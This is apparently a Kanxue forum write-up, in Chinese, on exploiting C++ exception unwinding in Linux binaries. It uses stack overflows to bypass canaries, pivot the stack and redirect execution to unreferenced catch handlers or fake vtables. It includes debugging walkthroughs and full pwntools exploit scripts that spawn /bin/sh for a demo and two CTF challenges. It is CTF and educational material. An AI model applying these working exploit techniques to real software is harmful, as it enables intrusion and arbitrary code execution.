C++异常处理
本节内容针对 Linux 下的 C++ 异常处理机制,重点在于研究如何在异常处理流程中利用溢出漏洞,所以不对异常处理及unwind
的过程做详细分析,只做简单介绍。
异常机制中主要的三个关键字:throw
抛出异常,try
包含异常模块,catch
捕捉抛出的异常,它们一起构成了由“抛出->捕捉->回退”等步骤组成的整套异常处理机制。
当一个异常被抛出时,就会立即引发 C++ 的异常捕获机制。异常被抛出后如果在当前函数内没能被 catch,该异常就会沿着函数的调用链继续往上抛,在调用链上的每一个函数中尝试找到相应的 catch 并执行其代码块,直到走完整个调用链。如果最终还是没能找到相应的 catch,那么程序会调用std::terminate()
,这个函数默认是把程序abort
其中,从程序抛出异常开始,沿着函数的调用链找相应的 catch 代码块的整个过程叫作栈回退stack unwind
回到对 C++ 异常处理机制进行利用的话题,下面开始调试一个 demo 来加深对异常处理机制的理解,目的是去验证下列两个想法的可行性:
1.通过篡改 rbp 可以实现类似栈迁移的效果,来控制程序执行流 ROP
2.unwind
会检测在调用链上的函数里是否有catch handler
,要有能捕捉对应类型异常的 catch 块;通过劫持 ret 可以执行到目标函数的 catch 代码块,但是前提是要需要拥有合法的 rbp
demo 的源码如下:
#include
#include
#include
void backdoor()
{
try
{
printf("We have never called this backdoor!");
}
catch (const char *s)
{
printf("[!] Backdoor has catched the exception: %s\n", s);
system("/bin/sh");
}
}
class x
{
public:
char buf[0x10];
x(void)
{
}
~x(void)
{
}
};
void input()
{
x tmp;
printf("[!] enter your input:");
fflush(stdout);
int count = 0x100;
size_t len = read(0, tmp.buf, count);
if (len > 0x10)
{
throw "Buffer overflow.";
}
printf("[+] input() return.\n");
}
int main()
{
try
{
input();
printf("--------------------------------------\n");
throw 1;
}
catch (int x)
{
printf("[-] Int: %d\n", x);
}
catch (const char *s)
{
printf("[-] String: %s\n", s);
}
printf("[+] main() return.\n");
return 0;
}
调试分析第一种利用方式
上述源码编译出来的可执行文件的保护如下,开了 canary 保护。
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
输入点 buf 距离 rbp 的距离是 0x30
所以测试输入长度分别为 0x31 和 0x39 的 PoC,发现会报不同的 crash,合理推测栈上的数据(例如 ret, rbp)会影响异常处理的流程。
ve1kcon@wsl:~$ cyclic 48
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa
ve1kcon@wsl:~$ cyclic 56
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaa
能发现无论怎么样都不会输出程序里写在input()
函数里的[+] input() return.
这是因为异常处理时从__cxa_throw()
开始,之后进行unwind, cleanup, handler
, 程序不会再执行发生异常所在函数的剩余部分,会沿着函数调用链往回找能处理对应异常的最近的函数,然后回退至此函数执行其 catch 块后跟着往下运行,途径的函数的剩余部分也不会再执行,自然不会执行到出现异常的函数的 throw 后面的语句,更不会执行到这些函数的 ret。
这里就能抛出一个思考了:对 canary 的检测一般在最后的函数返回处,那么在执行异常处理流程时不就能跳过stack_check_fail()
这个调用了嘛?
下面利用poc1 = padding + '\x01'
覆盖 rbp 值,可以将断点断在call _read
指令后面一点的位置,这样就能断下来了,在这里观察到 rbp 的低一字节已被成功篡改为'\x01'
继续运行至程序报错的位置,最后在0x401506
这条 ret 指令处出了问题,是错误的返回地址导致的,记录下这个指令地址,后续可以将断点打在这里,观察是否能成功控制程序流。
根据这个指令的地址,可以在 IDA 中定位到这是异常处理结束后最终的 ret 指令,所以可以确定是在执行 main 的 handler 时 crash,那么上述报错出现的原因其实就很明显了,是因为最后执行的leave; ret
使得 ret 的地址变成了[rbp+8]
,导致不合法的返回地址。这也意味着在 handler 里就能够完成栈迁移,所以可以尝试通过篡改 rbp 实现控制程序执行提前布置好的 ROP 链。
接下来尝试劫持程序去执行 GOT 表里的函数:
.got.plt:0000000000404040 off_404040 dq offset fflush ; DATA XREF: _fflush+4↑r
.got.plt:0000000000404048 off_404048 dq offset read ; DATA XREF: _read+4↑r
.got.plt:0000000000404050 off_404050 dq offset puts ; DATA XREF: _puts+4↑r
.got.plt:0000000000404058 off_404058 dq offset __cxa_end_catch
利用poc2 = padding + p64(0x404050-0x8)
,运行到上述断点处发现成功调用到了puts
函数。
证明第一种利用方式可行
关于第一种利用方式的后续思考
但这种利用方式只适用于 “通过将old_rbp
存储于栈中来保留现场” 的函数调用约定,以及需要出现异常的函数的caller function
要存在处理对应异常的代码块,否则也会走到terminate。
为了调试上述说法,对 demo 作了修改,主要改动如下:
void test()
{
x tmp;
printf("[!] enter your input:");
fflush(stdout);
int count = 0x100;
size_t len = read(0, tmp.buf, count);
if (len > 0x10)
{
throw "Buffer overflow.";
}
printf("[+] test() return.\n");
}
void input()
{
test();
printf("[+] input() return.\n");
}
这回同样是使用poc2
,但 crash 了。
对 demo 重新修改的部分如下:
void input()
{
try
{
test();
}
catch (const char *s)
{
printf("[-] String(From input): %s\n", s);
}
printf("[+] input() return.\n");
}
复现成功,这次是在 input 的 handler 里被劫持,而非在 main 了。
但是噢,如果是通过打返回地址劫持到另外一个函数的异常处理模块,是没有 “出现异常的函数的 caller function 要存在处理对应异常的代码块” 这层限制的,但这也是后话了。
调试分析第二种利用方式
由于调用链__cxa_throw
->_Unwind_RaiseException
,在 unwind 函数里会取运行时栈上的返回地址 callee ret 来对整个调用链进行检查,它会在链上的函数里搜索catch handler
,若所有函数中都无对应类型的 catch 块,就会调用__teminate()
终止进程。
利用poc3 = poc2 + 'b'*8
调试一下后面的 unwind 函数的过程,一直运行至_Unwind_RaiseException+463
发生了 crash,合理猜测是在这调用的函数里作的检测,所有可以观察下此时传参的情况,下断方式是b *(&_Unwind_RaiseException+463)
这个地方循环执行了几次
第一次,rdx -> 0x4000000000000000
第二次,rdx -> 0x4013a7 (input()+162)
第三次,rdx -> 0x6262626262626262 ('bbbbbbbb')
再琢磨下异常处理机制,就能够发现另外一个利用点,就是假如函数A内有能够处理对应异常的 catch 块,是否可以通过影响运行时栈的函数调用链,即更改某 callee function ret 地址,从而能够成功执行到函数A的 handler 呢。
下面尝试通过直接劫持input()
函数的 ret, 可以发现在源码中有定义backdoor()
函数,但程序中并没有一处存在对该后门函数的引用,利用poc4 = poc2 + p64(0x401292+1)
尝试触发后门。
这里将返回地址填充成了backdoor()
函数里try 代码块里的地址,它是一个范围,经测试能够成功利用的是一个左开右不确定的区间(x)
.text:0000000000401283 lea rax, format ; "We have never called this backdoor!"
.text:000000000040128A mov rdi, rax ; format
.text:000000000040128D mov eax, 0
.text:0000000000401292 ; try {
.text:0000000000401292 call _printf
.text:0000000000401292 ; } // starts at 401292
.text:0000000000401297 jmp short loc_4012FF
可以看见程序执行了后门函数的异常处理模块,复现成功,成功执行到了一个从未引用过的函数,而且程序从始至终都是开了 canary 保护的,这直接造成的栈溢出却能绕过stack_check_fail()
这个函数对栈进行检测。
exp 如下:
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
pwnfile = './exc'
p = process(pwnfile)
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def exp():
test = 'a'*5
padding = 'a'*0x30
poc1 = padding + '\x01'
poc2 = padding + p64(0x404050-0x8)
poc3 = poc2 + 'b'*8
poc4 = poc2 + p64(0x401292+1)
p.sendafter('input:', poc4)
exp()
p.interactive()
简要分析
程序保护如下:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
这是一道非常具有迷惑性的题,大致意思是:出题人自行实现了一个 canary,并将它布置在系统 canary 上面0x10
的地方,但所有 canary 相关的检测其实都是绕不过的,漏洞点是launch()
函数处的栈溢出,触发点是raise()
函数处的异常抛出,异常未能正确被捕获并处理,最终是能够避开对栈上 canary 的验证并利用析构函数 ROP。
程序流分析
main()
函数逻辑如下:
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v3;
__int64 v4;
_QWORD v6[3];
v6[1] = __readfsqword(0x28u);
setbuf(stdin, 0LL, envp);
setbuf(stdout, 0LL, v3);
init_canary();
std::make_unique((__int64)v6);
v4 = std::unique_ptr::operator->((__int64)v6);
(*(void (__fastcall **)(__int64))(*(_QWORD *)v4 + 16LL))(v4);
std::unique_ptr::~unique_ptr((__int64)v6);
return 0;
}
初始化sys_canary
并读取用户输入的64个字节作为user_canary
,用来生成自定义 canary,第一个输入点的user_canary
是往.bss
段上写的。
__int64 init_canary(void)
{
if ( getrandom(&sys_canary, 64LL, 0LL) != 64 )
raise("canary init error");
puts("To increase entropy, give me your canary");
return readall8]>(&user_canary);
}
__int64 __fastcall ProtectedBuffer<64ul>::getCanary(unsigned __int64 a1)
{
return user_canary[(a1 >> 4) & 7] ^ sys_canary[(a1 >> 4) & 7];
}
这段代码实现了BOFApp
类的构造函数,首先调用基类构造函数实现了BOFApp
对象基类部分的初始化,然后将BOFApp
对象的虚函数表指针设置为off_4ED510
,使得对象能够正确调用其虚函数。通过调试发现,赋值语句执行前this -> vtable for UnsafeApp+16
,执行后this -> vtable for BOFApp+16。
void __fastcall BOFApp::BOFApp(BOFApp *this)
{
UnsafeApp::UnsafeApp(this);
*(_QWORD *)this = off_4ED510;
}
创建一个BOFApp
类的实例,然后调用BOFApp
的构造函数初始化对象,跟进后面那个函数发现进行了*a1 = v1
的操作。
__int64 __fastcall std::make_unique<BOFApp>(__int64 a1)
{
BOFApp *v1; // rbx
v1 = (BOFApp *)operator new(8uLL);
*(_QWORD *)v1 = 0LL;
BOFApp::BOFApp(v1);
std::unique_ptr<BOFApp>::unique_ptr<:default_delete>,void>(a1, v1);
return a1;
}
执行完std::make_unique((__int64)v6)
后,栈变量v6
被重新赋值:
于是接下来调用的是BOFApp::launch()
函数:
pwndbg> x/20gx 0x4ed510+0x10
0x4ed520 : 0x0000000000403552 0x0000000000000000
在 IDA 里计算也是一样的,执行(*(void (__fastcall **)(__int64))(*(_QWORD *)v4 + 0x10LL))(v4);
语句,即call *(0x4ED510+0x10)。
.data.rel.ro:00000000004ED510 off_4ED510 dq offset _ZN6BOFAppD2Ev
.data.rel.ro:00000000004ED510 ; DATA XREF: BOFApp::BOFApp(void)+16↑o
.data.rel.ro:00000000004ED510 ; BOFApp::~BOFApp()+9↑o
.data.rel.ro:00000000004ED510 ; BOFApp::~BOFApp()
.data.rel.ro:00000000004ED518 dq offset _ZN6BOFAppD0Ev ; BOFApp::~BOFApp()
.data.rel.ro:00000000004ED520 dq offset _ZN6BOFApp6launchEv ; BOFApp::launch(void)
最后是对象的析构函数,里面要重点关注的函数的路径是std::unique_ptr::~unique_ptr()
-->std::default_delete::operator()(BOFApp*)
,这里存在函数指针调用,这意味着只需要控制a2
的值就能控制程序流。
__int64 __fastcall std::default_delete::operator()(__int64 a1, __int64 a2)
{
__int64 result;
result = a2;
if ( a2 )
return (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a2 + 8LL))(a2);
return result;
}
通过逆向分析和调试可知参数a2
与前面提到的栈变量v6
有关,所以将断点打在0x40340D
,正常输入,调试一下看传参情况。
查看虚函数表指针+0x8
位置处指向什么函数,0x4038b8
再把断点打在0x403909
,看到这里确实调用到了上述函数
漏洞点分析&跟踪调用链
第二个输入点存在栈溢出,调用链是BOFApp::launch(void)
-->ProtectedBuffer<64ul>::mut<:launch>(BOFApp::launch(void)::{lambda(char *)#1} const&)
-->BOFApp::launch(void)::{lambda(char *)#1}::operator()(char *)
__int64 __fastcall BOFApp::launch(void)::{lambda(char *)#1}::operator()(
__int64 a1,
__int64 a2,
int a3,
int a4,
int a5,
int a6)
{
return _isoc23_scanf((unsigned int)"%[^\n]", a2, a3, a4, a5, a6, a2, a1);
}
下列是 GPT 的解释:
1._isoc23_scanf
根据格式字符串读取输入。格式字符串"%[^\n]"
表示读取所有非换行符的字符,直到遇到换行符为止。这样写其实就相当于 c 的 gets() 了。
2.输入存储:将读取的输入存储在a2
指向的缓冲区中。
3.a3, a4, a5, a6
是额外参数,可能用于其他目的。
观察下这个_isoc23_scanf()
函数,断点打在0x403547
处观察数据写入的位置。
计算输入点与目标指针的距离为0x70
所以可以利用上述栈溢出去修改自定义 canary,来触发异常,栈回退避开对自定义 canary 和系统 canary 的检测,最后调用到析构函数。
这样下来,思路就理清楚了,在user_canary
处伪造虚函数表指向后门函数,然后利用溢出修改存储在栈上的BOFApp
对象的虚函数表指针,即变量v6
,在此过程中自定义 canary 一定会被篡改,程序将会在raise()
函数里抛出异常,这里是漏洞的触发点,调用链如下。
BOFApp::launch(void)
--
>ProtectedBuffer<64ul>::mut<:launch>(BOFApp::launch(void)::{lambda(char *)#1} const&)
--
>ProtectedBuffer<64ul>::check(void)
-->raise(char const*)
bool __fastcall ProtectedBuffer<64ul>::check(unsigned __int64 a1)
{
__int64 v1;
bool result;
v1 = *(_QWORD *)(a1 + 0x48);
result = v1 != ProtectedBuffer<64ul>::getCanary(a1);
if ( result )
raise("*** stack smash detected ***");
return result;
}
void __fastcall __noreturn raise(const char *a1)
{
std::runtime_error *exception;
puts(a1);
exception = (std::runtime_error *)_cxa_allocate_exception(0x10uLL);
std::runtime_error::runtime_error(exception, a1);
_cxa_throw(exception, (struct type_info *)&`typeinfo for'std::runtime_error, std::runtime_error::~runtime_error);
}
异常处理流程最终调用到的析构函数处存在指针调用,但此时指针已被我们提前利用溢出数据控好了,造成任意代码执行。
可以直接动调一下raise()
函数内部,然后再看看函数返回哪里呢。可以在一些地方下断点调试看看,比如0x403291
处的抛出异常,0x403432
处的调用析构函数,最后在0x4038fc
出现 crash,原因是不合法的RAX
,它的值是BOFApp
类对象指针v6
,这是可以利用溢出写到那的,所以是可控的,继续往下看后面的汇编,会发现只要控了RAX
就能够控到RDX
,在最后的call rdx;
处便能造成任意代码执行。
由于user_canary
可控,可以尝试在这里伪造虚函数表并将指针劫持到这,这是构造好的 exp 运行到此处时的参数情况。
成功执行到后门函数:
关于本题的其他思考
另外提一嘴,上面提到了避开 canary 检测执行到析构函数,笔者是这样理解的:在程序正常运行时应该是在执行完launch()
函数后执行析构函数,但在raise()
函数里却有异常被抛出,而且回溯了整条函数调用链,包括raise()
函数本身,都没看见有能处理此异常的catch
代码块,合理猜测最终将会由 handler 执行析构函数,在此过程中自然也绕过了程序自身的__stack_chk_fail_local
检测。
其实在创建对象的函数里,创建对象时会有构造函数,函数返回处会有析构函数。但当该函数运行到一半就抛出了异常时,若在当前函数内不能正常捕捉异常,那这个函数剩下的部分便不会再被执行到了,自然也不会运行到函数返回处的那个析构函数。但是程序依旧是需要去运行析构函数销毁对象的,达到释放资源的目的,这种情况下应该是在 handler 中调用到析构函数的
漏洞利用
最终的 exp 如下,还有一点要注意的是,中途覆盖到的函数返回地址是不能乱填的,具体原因详见前面的 “原理探究”,与unwind()
函数里的检测有关,所以 ret 填回原来的0x403407。
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
pwnfile = './n1canary'
p = process(pwnfile)
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def exp():
backdoor = 0x403387
user_canary = 0x4F4AA0
payload = p64(user_canary+8) + p64(backdoor)*2
payload = payload.ljust(0x40, 'a')
p.sendafter('canary\n', payload)
payload = 'a'*(0x70-0x8)
payload += p64(0x403407)
payload += p64(user_canary)
exp()
p.interactive()
成功劫持到后门,后门命令执行了/readflag:
2024年”羊城杯“粤港澳大湾区网络安全大赛 - logger
来自出题人的碎碎念
笔者作为 “2024羊城杯” PWN 方向出题人,自然要顺带唠一唠这道自己出的题目,虽谈不上巧妙(水平有限),但也有不少师傅反馈说受益匪浅。
这道题从整体上来看算是中等难度,属于一道机制题,若是将上面的知识都了解透彻后,会做得很顺畅。
由于从现在网上公开的文章里,能看到很多师傅都对这道题做了详细的分析,所以笔者主要讲点有意思的地方,不至于让读了文章的师傅空手而归,打算结合源码(上帝视角 XD)和逆向分析的效果对这道题进行剖析。
题目分析&漏洞分析
首先这道题的创新点在于对抛出异常语句的篡改,最终通过溢出漏洞劫持到有后门的处理块 getshell。
细心的师傅可能一下就能发现,trace
功能的实现里存在数组oob
漏洞,毕竟这个<=
怎么看都显得十分拙劣。
那上述越界能起到什么作用呢?byte_404020[]
数据的大小是 0x80,若能写入九次(0~8) 0x10 大小的数据,恰好能改掉下面src[]
数组,这个数组存放了一个字符串Buffer Overflow。
结合源码来看,这个字符串的作用是:在检测到溢出的时抛出Buffer Overflow
字符串,而正常来说是由下面的catch
块来处理这个异常,它接受的是const char *s
类型的异常。
warn
函数里存在大量的溢出写,紧随其后的是检查read
的返回值(实际写入的字节数),那其实就在通过对v0
的检测来判断是否有栈溢出了,所以在检测到存在溢出风险时会执行if
模块,抛出异常。
然后被抛出的异常字符串就会被上面提到的catch
块处理,效果是输出报错信息[-] An exception of type String variable "Buffer Overflow" was caught...
但是假如说若能够劫持到别的catch
块进行处理呢?笔者预置了一个后门函数,其catch (const char *s)
也能够捕获字符串类型的异常,劫持到这里即可,源码如下:
后门的try
块地址是0x401BC2
,在下面有对_system
的调用。
比较有意思的是 IDA 似乎对异常处理catch
模块的解析有问题,可见对strHandler()
函数的反编译效果如下,可以对比上面提供的源码。
所以解题时只能够查看对_system
函数的交叉引用,然后定位到具体位置后看汇编进行分析了。
漏洞利用
梳理完毕,现在思路明确了,先是通过数组越界漏洞劫持字符串为/bin/sh\x00
,然后通过溢出漏洞劫持到后门catch
进行异常处理,即0x401BC2+1
的位置,最终执行到system(/bin/sh)。
exp 如下:
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
pwnfile = './pwn'
p = process(pwnfile)
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def menu(index):
p.sendlineafter('chocie:', str(index))
def trace(content='a', judge='n'):
menu(1)
p.sendlineafter('here: ', content)
p.sendlineafter('records? ', judge)
def exp():
for i in range(7):
trace()
trace('a'*0x10,'n')
payload = '/bin/sh;'
trace(payload)
menu(2)
payload = 'a'*0x70
payload += p64(0X404300)
payload += p64(0x401BC2+1)
p.sendafter('Type your message here plz: ', payload)
exp()
p.interactive()
看雪ID:ve1kcon
https://bbs.kanxue.com/user-home-977497.htm
*本文为看雪论坛精华文章,由 ve1kcon 原创,转载请注明来自看雪社区